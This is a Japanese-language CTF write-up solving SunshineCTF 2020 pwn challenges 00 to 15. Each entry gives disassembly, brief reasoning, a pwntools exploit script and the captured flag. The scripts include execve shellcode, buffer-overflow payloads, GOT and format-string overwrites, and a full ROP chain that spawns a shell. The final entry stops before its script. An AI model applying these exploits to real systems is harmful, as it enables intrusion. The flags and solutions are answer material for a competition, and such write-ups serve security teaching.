gdb-peda$ disas main Dump of assembler code for function main: 0x000000000000075a <+0>: push rbp 0x000000000000075b <+1>: mov rbp,rsp 0x000000000000075e <+4>: sub rsp,0x60 0x0000000000000762 <+8>: lea rdi,[rip+0xef] # 0x858 0x0000000000000769 <+15>: call 0x600 <puts@plt> 0x000000000000076e <+20>: mov rdx,QWORD PTR [rip+0x20089b] # 0x201010 <stdin@@GLIBC_2.2.5> 0x0000000000000775 <+27>: lea rax,[rbp-0x20] 0x0000000000000779 <+31>: mov esi,0x13 0x000000000000077e <+36>: mov rdi,rax 0x0000000000000781 <+39>: call 0x620 <fgets@plt> 0x0000000000000786 <+44>: lea rax,[rbp-0x60] 0x000000000000078a <+48>: mov rdi,rax 0x000000000000078d <+51>: mov eax,0x0 0x0000000000000792 <+56>: call 0x630 <gets@plt> 0x0000000000000797 <+61>: cmp DWORD PTR [rbp-0x4],0xfacade 0x000000000000079e <+68>: jne 0x7ac <main+82> 0x00000000000007a0 <+70>: lea rdi,[rip+0xdf] # 0x886 0x00000000000007a7 <+77>: call 0x610 <system@plt> 0x00000000000007ac <+82>: cmp DWORD PTR [rbp-0x8],0xfacade 0x00000000000007b3 <+89>: jne 0x7c1 <main+103> 0x00000000000007b5 <+91>: lea rdi,[rip+0xca] # 0x886 0x00000000000007bc <+98>: call 0x610 <system@plt> 0x00000000000007c1 <+103>: nop 0x00000000000007c2 <+104>: leave 0x00000000000007c3 <+105>: ret End of assembler dump.
00と同様にrbp-0x4
かrbp-0x8
の値が0xfacade
になっているとシェルが起動する. fgets
は文字数制限があるためgets
で入力する. rbp-0x60
からなので0x5c
文字か0x58
文字後に0xfacade
を置く.
from pwn import * # p=process('./chall_01') p=remote('chal.2020.sunshinectf.org',30001) arg=0xfacade payload=b'' for i in range(12): payload+=p64(arg) p.recv() p.sendline() p.sendline(payload) p.interactive()
flag: sun{eternal-rest-6a5ee49d943a053a}
02 (10 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x08048501 <+0>: push ebp 0x08048502 <+1>: mov ebp,esp 0x08048504 <+3>: push ebx 0x08048505 <+4>: sub esp,0x44 0x08048508 <+7>: call 0x8048582 <__x86.get_pc_thunk.ax> 0x0804850d <+12>: add eax,0x1af3 0x08048512 <+17>: sub esp,0xc 0x08048515 <+20>: lea edx,[ebp-0x3a] 0x08048518 <+23>: push edx 0x08048519 <+24>: mov ebx,eax 0x0804851b <+26>: call 0x8048360 <gets@plt> 0x08048520 <+31>: add esp,0x10 0x08048523 <+34>: nop 0x08048524 <+35>: mov ebx,DWORD PTR [ebp-0x4] 0x08048527 <+38>: leave 0x08048528 <+39>: ret End of assembler dump.
vuln
内のgets
でBOFが起きる. リターンアドレスをwin
のアドレスに書き換える. offsetは0x3a+0x4=0x3e
.
from pwn import * # p=process('./chall_02') p=remote('chal.2020.sunshinectf.org',30002) e=ELF('./chall_02') payload=b'A'*62 payload+=p64(e.symbols['win']) p.recv() p.sendline() p.sendline(payload) p.interactive()
flag: sun{warmness-on-the-soul-3b6aad1d8bb54732}
03 (18 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x000000000000075a <+0>: push rbp 0x000000000000075b <+1>: mov rbp,rsp 0x000000000000075e <+4>: sub rsp,0x70 0x0000000000000762 <+8>: lea rax,[rbp-0x70] 0x0000000000000766 <+12>: mov rsi,rax 0x0000000000000769 <+15>: lea rdi,[rip+0xe4] # 0x854 0x0000000000000770 <+22>: mov eax,0x0 0x0000000000000775 <+27>: call 0x610 <printf@plt> 0x000000000000077a <+32>: lea rax,[rbp-0x70] 0x000000000000077e <+36>: mov rdi,rax 0x0000000000000781 <+39>: mov eax,0x0 0x0000000000000786 <+44>: call 0x630 <gets@plt> 0x000000000000078b <+49>: nop 0x000000000000078c <+50>: leave 0x000000000000078d <+51>: ret End of assembler dump.
02と同様にvuln
のgets
でBOFが起きる. しかしwin
がなく, PIEが有効になっている.
2回目の入力の前にアドレスrbp-0x70
が表示される. これは2回目の入力の文字が格納されるアドレスと同じ.
NXbitは無効になってるから2回目の入力時にシェルコードを書き込み, リターンアドレスを表示されたアドレスに書き換えるとリターン時にシェルコードが実行される.
from pwn import * # p=process('./chall_03') p=remote('chal.2020.sunshinectf.org',30003) e=ELF('./chall_03') # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" p.recv() p.sendline() p.recvuntil(': ') buf=int(p.recv(14)[2:],16) payload=shellcode payload+=b'A'*(120-len(shellcode)) payload+=p64(buf) p.sendline(payload) p.interactive()
flag: sun{a-little-piece-of-heaven-26c8795afe7b3c49}
04 (10 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x00000000004005ca <+0>: push rbp 0x00000000004005cb <+1>: mov rbp,rsp 0x00000000004005ce <+4>: sub rsp,0x240 0x00000000004005d5 <+11>: mov rdx,QWORD PTR [rip+0x200a64] # 0x601040 <stdin@@GLIBC_2.2.5> 0x00000000004005dc <+18>: lea rax,[rbp-0x40] 0x00000000004005e0 <+22>: mov esi,0x64 0x00000000004005e5 <+27>: mov rdi,rax 0x00000000004005e8 <+30>: call 0x4004c0 <fgets@plt> 0x00000000004005ed <+35>: mov rdx,QWORD PTR [rbp-0x8] 0x00000000004005f1 <+39>: mov eax,0x0 0x00000000004005f6 <+44>: call rdx 0x00000000004005f8 <+46>: nop 0x00000000004005f9 <+47>: leave 0x00000000004005fa <+48>: ret End of assembler dump.
2回目の入力が終わるとrdx
レジスタの値をcall
してくれる. 直前にrbp-0x8
の値がrdx
に代入される. 入力がrbp-0x40
からに格納されるので0x38(=0x40-0x8)
文字後にwin
のアドレスを置くとcall
時にwin
が実行される.
from pwn import * # p=process('./chall_04') p=remote('chal.2020.sunshinectf.org',30004) e=ELF('./chall_04') payload=b'A'*0x38 payload+=p64(e.symbols['win']) p.recv() p.sendline() p.sendline(payload) p.interactive()
flag: sun{critical-acclaim-96cfde3d068e77bf}
05 (10 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x00000000000007a6 <+0>: push rbp 0x00000000000007a7 <+1>: mov rbp,rsp 0x00000000000007aa <+4>: sub rsp,0x240 0x00000000000007b1 <+11>: lea rsi,[rip+0xffffffffffffffb5] # 0x76d <main> 0x00000000000007b8 <+18>: lea rdi,[rip+0xd4] # 0x893 0x00000000000007bf <+25>: mov eax,0x0 0x00000000000007c4 <+30>: call 0x620 <printf@plt> 0x00000000000007c9 <+35>: mov rdx,QWORD PTR [rip+0x200840] # 0x201010 <stdin@@GLIBC_2.2.5> 0x00000000000007d0 <+42>: lea rax,[rbp-0x40] 0x00000000000007d4 <+46>: mov esi,0x64 0x00000000000007d9 <+51>: mov rdi,rax 0x00000000000007dc <+54>: call 0x630 <fgets@plt> 0x00000000000007e1 <+59>: mov rdx,QWORD PTR [rbp-0x8] 0x00000000000007e5 <+63>: mov eax,0x0 0x00000000000007ea <+68>: call rdx 0x00000000000007ec <+70>: nop 0x00000000000007ed <+71>: leave 0x00000000000007ee <+72>: ret End of assembler dump.
04と同様に2回目の入力が終わるとrdx
レジスタの値をcall
してくれる. しかし, PIEが有効になっていてwin
のアドレスがわからない.
2回目の入力の前にmain
のアドレスが表示される. このアドレスからwin
のアドレスを計算する. あとは04と同じ.
from pwn import * # p=process('./chall_05') p=remote('chal.2020.sunshinectf.org',30005) e=ELF('./chall_05') p.recv() p.sendline() p.recvuntil(': ') win=int(p.recv(14)[2:],16)+e.symbols['win']-e.symbols['main'] print(hex(win)) payload=b'A'*0x38 payload+=p64(win) p.sendline(payload) p.interactive()
flag: sun{chapter-four-9ca97769b74345b1}
06 (23 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x000000000000071a <+0>: push rbp 0x000000000000071b <+1>: mov rbp,rsp 0x000000000000071e <+4>: sub rsp,0xd0 0x0000000000000725 <+11>: lea rax,[rbp-0xd0] 0x000000000000072c <+18>: mov rsi,rax 0x000000000000072f <+21>: lea rdi,[rip+0x102] # 0x838 0x0000000000000736 <+28>: mov eax,0x0 0x000000000000073b <+33>: call 0x5e0 <printf@plt> 0x0000000000000740 <+38>: mov rdx,QWORD PTR [rip+0x2008c9] # 0x201010 <stdin@@GLIBC_2.2.5> 0x0000000000000747 <+45>: lea rax,[rbp-0xd0] 0x000000000000074e <+52>: mov esi,0xc7 0x0000000000000753 <+57>: mov rdi,rax 0x0000000000000756 <+60>: call 0x5f0 <fgets@plt> 0x000000000000075b <+65>: mov eax,0x0 0x0000000000000760 <+70>: call 0x768 <vuln> 0x0000000000000765 <+75>: nop 0x0000000000000766 <+76>: leave 0x0000000000000767 <+77>: ret End of assembler dump.
1回目の入力の前にアドレスrbp-0xd0
が表示される. これは1回目に入力する文字が格納されるアドレスと同じ.
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x0000000000000768 <+0>: push rbp 0x0000000000000769 <+1>: mov rbp,rsp 0x000000000000076c <+4>: sub rsp,0x240 0x0000000000000773 <+11>: lea rdi,[rip+0xe6] # 0x860 0x000000000000077a <+18>: call 0x5d0 <puts@plt> 0x000000000000077f <+23>: mov rdx,QWORD PTR [rip+0x20088a] # 0x201010 <stdin@@GLIBC_2.2.5> 0x0000000000000786 <+30>: lea rax,[rbp-0x40] 0x000000000000078a <+34>: mov esi,0x64 0x000000000000078f <+39>: mov rdi,rax 0x0000000000000792 <+42>: call 0x5f0 <fgets@plt> 0x0000000000000797 <+47>: mov rdx,QWORD PTR [rbp-0x8] 0x000000000000079b <+51>: mov eax,0x0 0x00000000000007a0 <+56>: call rdx 0x00000000000007a2 <+58>: nop 0x00000000000007a3 <+59>: leave 0x00000000000007a4 <+60>: ret End of assembler dump.
04, 05と同様に2回目の入力が終わるとrdx
レジスタの値をcall
してくれる.
1回目の入力時にシェルコードを書き込み, rbp-0x8
に表示されたアドレスを書き込めばcall
時にシェルコードが実行される.
from pwn import * # p=process('./chall_06') p=remote('chal.2020.sunshinectf.org',30006) e=ELF('./chall_06') # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" p.recvuntil(': ') buf=int(p.recv(14)[2:],16) p.sendline(shellcode) payload=b'A'*0x38 payload+=p64(buf) p.recv() p.sendline(payload) p.interactive()
flag: sun{shepherd-of-fire-1a78a8e600bf4492}
07 (26 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x000000000000073a <+0>: push rbp 0x000000000000073b <+1>: mov rbp,rsp 0x000000000000073e <+4>: sub rsp,0xf0 0x0000000000000745 <+11>: mov rax,QWORD PTR fs:0x28 0x000000000000074e <+20>: mov QWORD PTR [rbp-0x8],rax 0x0000000000000752 <+24>: xor eax,eax 0x0000000000000754 <+26>: lea rdi,[rip+0xe9] # 0x844 0x000000000000075b <+33>: mov eax,0x0 0x0000000000000760 <+38>: call 0x600 <printf@plt> 0x0000000000000765 <+43>: mov rdx,QWORD PTR [rip+0x2008a4] # 0x201010 <stdin@@GLIBC_2.2.5> 0x000000000000076c <+50>: lea rax,[rbp-0xf0] 0x0000000000000773 <+57>: mov esi,0x13 0x0000000000000778 <+62>: mov rdi,rax 0x000000000000077b <+65>: call 0x610 <fgets@plt> 0x0000000000000780 <+70>: mov rdx,QWORD PTR [rip+0x200889] # 0x201010 <stdin@@GLIBC_2.2.5> 0x0000000000000787 <+77>: lea rax,[rbp-0xd0] 0x000000000000078e <+84>: mov esi,0xc8 0x0000000000000793 <+89>: mov rdi,rax 0x0000000000000796 <+92>: call 0x610 <fgets@plt> 0x000000000000079b <+97>: lea rdx,[rbp-0xd0] 0x00000000000007a2 <+104>: mov eax,0x0 0x00000000000007a7 <+109>: call rdx 0x00000000000007a9 <+111>: nop 0x00000000000007aa <+112>: mov rax,QWORD PTR [rbp-0x8] 0x00000000000007ae <+116>: xor rax,QWORD PTR fs:0x28 0x00000000000007b7 <+125>: je 0x7be <main+132> 0x00000000000007b9 <+127>: call 0x5f0 <__stack_chk_fail@plt> 0x00000000000007be <+132>: leave 0x00000000000007bf <+133>: ret End of assembler dump.
2回目の入力が終わるとrdx
レジスタの値をcall
してくれる. 直前に2回目に入力された文字が格納されるアドレスであるrbp-0xd0
がrdx
にロードされるので2回目の入力時にシェルコードを書き込めばcall
時に実行される.
from pwn import * # p=process('./chall_07') p=remote('chal.2020.sunshinectf.org',30007) e=ELF('./chall_07') # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" p.sendline() p.sendline(shellcode) p.interactive()
flag: sun{sidewinder-a80d0be1840663c4}
08 (37 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x000000000040057a <+0>: push rbp 0x000000000040057b <+1>: mov rbp,rsp 0x000000000040057e <+4>: sub rsp,0x10 0x0000000000400582 <+8>: lea rax,[rbp-0x4] 0x0000000000400586 <+12>: mov rsi,rax 0x0000000000400589 <+15>: lea rdi,[rip+0xdc] # 0x40066c 0x0000000000400590 <+22>: mov eax,0x0 0x0000000000400595 <+27>: call 0x400470 <__isoc99_scanf@plt> 0x000000000040059a <+32>: lea rax,[rbp-0x10] 0x000000000040059e <+36>: mov rsi,rax 0x00000000004005a1 <+39>: lea rdi,[rip+0xc7] # 0x40066f 0x00000000004005a8 <+46>: mov eax,0x0 0x00000000004005ad <+51>: call 0x400470 <__isoc99_scanf@plt> 0x00000000004005b2 <+56>: mov eax,DWORD PTR [rbp-0x4] 0x00000000004005b5 <+59>: mov rdx,QWORD PTR [rbp-0x10] 0x00000000004005b9 <+63>: cdqe 0x00000000004005bb <+65>: lea rcx,[rax*8+0x0] 0x00000000004005c3 <+73>: lea rax,[rip+0x200476] # 0x600a40 <target> 0x00000000004005ca <+80>: mov QWORD PTR [rcx+rax*1],rdx 0x00000000004005ce <+84>: lea rdi,[rip+0x9e] # 0x400673 0x00000000004005d5 <+91>: call 0x400450 <puts@plt> 0x00000000004005da <+96>: nop 0x00000000004005db <+97>: leave 0x00000000004005dc <+98>: ret End of assembler dump.
数字を2回入力できる. 1回目の入力をx
, 2回目の入力をy
とすると
0x00000000004005b2 <+56>: mov eax,DWORD PTR [rbp-0x4] # eax=x 0x00000000004005b5 <+59>: mov rdx,QWORD PTR [rbp-0x10] # rdx=y 0x00000000004005b9 <+63>: cdqe # rax=x 0x00000000004005bb <+65>: lea rcx,[rax*8+0x0] # rcx=x*8 0x00000000004005c3 <+73>: lea rax,[rip+0x200476] # rax=0x600a40 0x00000000004005ca <+80>: mov QWORD PTR [rcx+rax*1],rdx # x*8+0x600a40にyを書き込む
main+80
でGOT Overwriteができそう. 直後にあるputs
のGOTをwin
のアドレスに書き換える.
x*8+0x600a40=(putsのGOT)
, y=(winのアドレス)
となるようなx
, y
を入力するとputs
呼び出し時にwin
が呼ばれる.
from pwn import * # p=process('./chall_08') p=remote('chal.2020.sunshinectf.org',30008) e=ELF('./chall_08') p.sendline(str((e.got["puts"]-0x600a40)//8)) p.sendline(str(e.symbols["win"])) p.interactive()
flag: sun{fiction-fa1a28a3ce2fdd96}
09 (29 Pts)
長いからGhidraでデコンパイル.
void main(void) { size_t sVar1; size_t sVar2; long in_FS_OFFSET; int local_5c; byte local_58 [56]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); fgets((char *)local_58,0x31,stdin); sVar1 = strlen((char *)local_58); sVar2 = strlen(key); if (sVar1 == sVar2) { local_5c = 0; while( true ) { sVar1 = strlen(key); if (sVar1 <= (ulong)(long)local_5c) break; if ((local_58[local_5c] ^ 0x30) !=key[local_5c]) { /* WARNING: Subroutine does notreturn */ exit(0); } local_5c = local_5c + 1; } system("/bin/sh"); } if (local_20 != *(long *)(in_FS_OFFSET +0x28)) { /* WARNING: Subroutine does notreturn */ __stack_chk_fail(); } return ; }
(入力した文字列)^0x30 = key(="y\027FU\020S_]U\020XUBU\020D_:")
となる文字列を入力するとシェルが起動する.
入力する文字列はkey^0x30
で求められる.
key="y\027FU\020S_]U\020XUBU\020D_:" s="".join([chr(ord(c)^0x30) for c in key]) print(s)
$ python3 solve.py I've come here to
$ nc chal.2020.sunshinectf.org 30009 I've come here to ls chall_09 flag.txt cat flag.txt sun{coming-home-4202dcd54b230a00} exit
flag: sun{coming-home-4202dcd54b230a00}
10 (34 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x0804850a <+0>: push ebp 0x0804850b <+1>: mov ebp,esp 0x0804850d <+3>: push ebx 0x0804850e <+4>: sub esp,0x44 0x08048511 <+7>: call 0x804858b <__x86.get_pc_thunk.ax> 0x08048516 <+12>: add eax,0x1aea 0x0804851b <+17>: sub esp,0xc 0x0804851e <+20>: lea edx,[ebp-0x3a] 0x08048521 <+23>: push edx 0x08048522 <+24>: mov ebx,eax 0x08048524 <+26>: call 0x8048360 <gets@plt> 0x08048529 <+31>: add esp,0x10 0x0804852c <+34>: nop 0x0804852d <+35>: mov ebx,DWORD PTR [ebp-0x4] 0x08048530 <+38>: leave 0x08048531 <+39>: ret End of assembler dump.
vuln
内のgets
でBOFが起きる. リターンアドレスをwin
に書き換えてあげればよいがwin
に引数チェックがある.
gdb-peda$ disas win Dump of assembler code for function win: 0x080484d6 <+0>: push ebp 0x080484d7 <+1>: mov ebp,esp 0x080484d9 <+3>: push ebx 0x080484da <+4>: sub esp,0x4 0x080484dd <+7>: call 0x804858b <__x86.get_pc_thunk.ax> 0x080484e2 <+12>: add eax,0x1b1e 0x080484e7 <+17>: cmp DWORD PTR [ebp+0x8],0xdeadbeef 0x080484ee <+24>: jne 0x8048504 <win+46> 0x080484f0 <+26>: sub esp,0xc 0x080484f3 <+29>: lea edx,[eax-0x19f0] 0x080484f9 <+35>: push edx 0x080484fa <+36>: mov ebx,eax 0x080484fc <+38>: call 0x8048390 <system@plt> 0x08048501 <+43>: add esp,0x10 0x08048504 <+46>: nop 0x08048505 <+47>: mov ebx,DWORD PTR [ebp-0x4] 0x08048508 <+50>: leave 0x08048509 <+51>: ret End of assembler dump.
第1引数が0xdeadbeef
になっていればよい.
from pwn import * # p=process('./chall_10') p=remote('chal.2020.sunshinectf.org',30010) e=ELF('./chall_10') payload=b'A'*62 payload+=p32(e.symbols["win"]) payload+=b'B'*4 payload+=p32(0xdeadbeef) p.recv() p.sendline() p.sendline(payload) p.interactive()
flag: sun{second-heartbeat-aeaff82332769d0f}
11 (42 Pts)
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x08048511 <+0>: push ebp 0x08048512 <+1>: mov ebp,esp 0x08048514 <+3>: push ebx 0x08048515 <+4>: sub esp,0xd4 0x0804851b <+10>: call 0x8048420 <__x86.get_pc_thunk.bx> 0x08048520 <+15>: add ebx,0x13e8 0x08048526 <+21>: mov eax,DWORD PTR [ebx-0x4] 0x0804852c <+27>: mov eax,DWORD PTR [eax] 0x0804852e <+29>: sub esp,0x4 0x08048531 <+32>: push eax 0x08048532 <+33>: push 0xc7 0x08048537 <+38>: lea eax,[ebp-0xd0] 0x0804853d <+44>: push eax 0x0804853e <+45>: call 0x8048380 <fgets@plt> 0x08048543 <+50>: add esp,0x10 0x08048546 <+53>: sub esp,0xc 0x08048549 <+56>: lea eax,[ebp-0xd0] 0x0804854f <+62>: push eax 0x08048550 <+63>: call 0x8048360 <printf@plt> 0x08048555 <+68>: add esp,0x10 0x08048558 <+71>: mov eax,DWORD PTR [ebx-0x4] 0x0804855e <+77>: mov eax,DWORD PTR [eax] 0x08048560 <+79>: sub esp,0xc 0x08048563 <+82>: push eax 0x08048564 <+83>: call 0x8048370 <fflush@plt> 0x08048569 <+88>: add esp,0x10 0x0804856c <+91>: nop 0x0804856d <+92>: mov ebx,DWORD PTR [ebp-0x4] 0x08048570 <+95>: leave 0x08048571 <+96>: ret End of assembler dump.
vuln
のprintf
にFSBがある.
$ ./chall_11 So indeed AAAA%p,%p,%p,%p,%p,%p,%p AAAA0xc7,0xf7ed3580,0x8048520,(nil),(nil),0x41414141,0x252c7025
fflush
のGOTをwin
のアドレスに書き換えると, fflush
呼び出し時にwin
が呼ばれる.
from pwn import * # p=process('./chall_11') p=remote('chal.2020.sunshinectf.org',30011) e=ELF('./chall_11') fflush_got=e.got["fflush"] win=e.symbols["win"] payload=fmtstr_payload(6,{fflush_got:win}) p.sendline() p.sendline(payload) p.interactive()
flag: sun{afterlife-4b74753c2b12949f}
12 (45 Pts)
vuln
は11とほぼ同じでprintf
にFSBがある. しかし, PIEが有効になっていてwinのアドレスがわからない.
実行するとmain
のアドレスが表示される. このアドレスからfflush
のGOTとwin
のアドレスを計算する. あとは11と同様にfflush
のGOTをwin
のアドレスに書き換える.
from pwn import * # p=process('./chall_12') p=remote('chal.2020.sunshinectf.org',30012) e=ELF('./chall_12') main=e.symbols["main"] win=e.symbols["win"] fflush_got=e.got["fflush"] p.recvuntil(": ") leak_main=int(p.recv(14)[2:],16) win=leak_main+win-main fflush_got=leak_main+fflush_got-main payload=fmtstr_payload(6,{fflush_got:win}) p.sendline() p.sendline(payload) p.interactive()
flag: sun{the-stage-351efbcaebfda0d5}
13 (44 Pts)
vuln
は10とほぼ同じでgets
でBOFが起きる. リターンアドレスをsystemFunc
に書き換える.
from pwn import * # p=process('./chall_13') p=remote('chal.2020.sunshinectf.org',30013) e=ELF('./chall_13') payload=b'A'*62 payload+=p32(e.symbols["systemFunc"]) p.recv() p.sendline() p.sendline(payload) p.interactive()
flag: sun{almost-easy-61ddd735cf9053b0}
14 (47 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x0000000000400b5d <+0>: push rbp 0x0000000000400b5e <+1>: mov rbp,rsp 0x0000000000400b61 <+4>: sub rsp,0x60 0x0000000000400b65 <+8>: lea rdi,[rip+0x9195c] # 0x4924c8 0x0000000000400b6c <+15>: call 0x410890 <puts> 0x0000000000400b71 <+20>: mov rdx,QWORD PTR [rip+0x2b8c30] # 0x6b97a8 <stdin> 0x0000000000400b78 <+27>: lea rax,[rbp-0x20] 0x0000000000400b7c <+31>: mov esi,0x14 0x0000000000400b81 <+36>: mov rdi,rax 0x0000000000400b84 <+39>: call 0x40ffd0 <fgets> 0x0000000000400b89 <+44>: lea rax,[rbp-0x60] 0x0000000000400b8d <+48>: mov rdi,rax 0x0000000000400b90 <+51>: mov eax,0x0 0x0000000000400b95 <+56>: call 0x4106e0 <gets> 0x0000000000400b9a <+61>: nop 0x0000000000400b9b <+62>: leave 0x0000000000400b9c <+63>: ret End of assembler dump.
main
のgets
でBOFが起きる.
$ file ./chall_14 ./chall_14: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=2936c7ad85f602a3701fef5df2a870452f6d3499, not stripped
静的リンク.
ROPgadgetでROPChainを組む. リターンアドレスをROPChainに書き換える.
$ ROPgadget --binary ./chall_14 --ropchain
from pwn import * from struct import pack # r=process('./chall_14') r=remote('chal.2020.sunshinectf.org',30014) e=ELF('./chall_14') # $ ROPgadget --binary ./chall_14 --ropchain # Padding goes here p = b'A'*104 p += pack('<Q', 0x0000000000410263) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x00000000004158f4) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000410263) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret p += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000400696) # pop rdi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x0000000000410263) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000449b15) # pop rdx ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret p += pack('<Q', 0x000000000040120c) # syscall r.sendline() r.sendline(p) r.interactive()
flag: sun{hail-to-the-king-c24f18e818fb4986}
15 (46 Pts)
長いので一部だけ.
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x000000000000071a <+0>: push rbp 0x000000000000071b <+1>: mov rbp,rsp 0x000000000000071e <+4>: sub rsp,0x50 0x0000000000000722 <+8>: lea rax,[rbp-0x46] 0x0000000000000726 <+12>: mov rsi,rax 0x0000000000000729 <+15>: lea rdi,[rip+0x158] # 0x888 0x0000000000000730 <+22>: mov eax,0x0 0x0000000000000735 <+27>: call 0x5d0 <printf@plt> 0x000000000000079c <+130>: lea rax,[rbp-0x46] 0x00000000000007a0 <+134>: mov esi,0x5a 0x00000000000007a5 <+139>: mov rdi,rax 0x00000000000007a8 <+142>: call 0x5e0 <fgets@plt> 0x00000000000007ad <+147>: cmp DWORD PTR [rbp-0x3c],0xfacade 0x00000000000007b4 <+154>: je 0x7c9 <vuln+175> 0x00000000000007b6 <+156>: cmp DWORD PTR [rbp-0x4],0xfacade 0x00000000000007bd <+163>: je 0x7c9 <vuln+175> 0x00000000000007bf <+165>: mov edi,0x0 0x00000000000007c4 <+170>: call 0x5f0 <exit@plt> 0x00000000000007c9 <+175>: nop 0x00000000000007ca <+176>: leave 0x00000000000007cb <+177>: ret End of assembler dump.
2回目の入力の前にアドレスrbp-0x46
が表示される.
vuln
のfgets
は入力をrbp-0x46
からの領域に格納するが, 0x5a
文字書き込めるためBOFが起きる. また, rbp-0x3c
かrbp-0x4
の値が0xfacade
でないとexit
が実行され終了してしまう.
0xa(=0x46-0x3c)
文字後に0xfacade
とシェルコードを置く. リターンアドレスを, 表示されるアドレス+0x12(=0xa+0x8)
に書き換えるとリターン時にシェルコードが実行される.
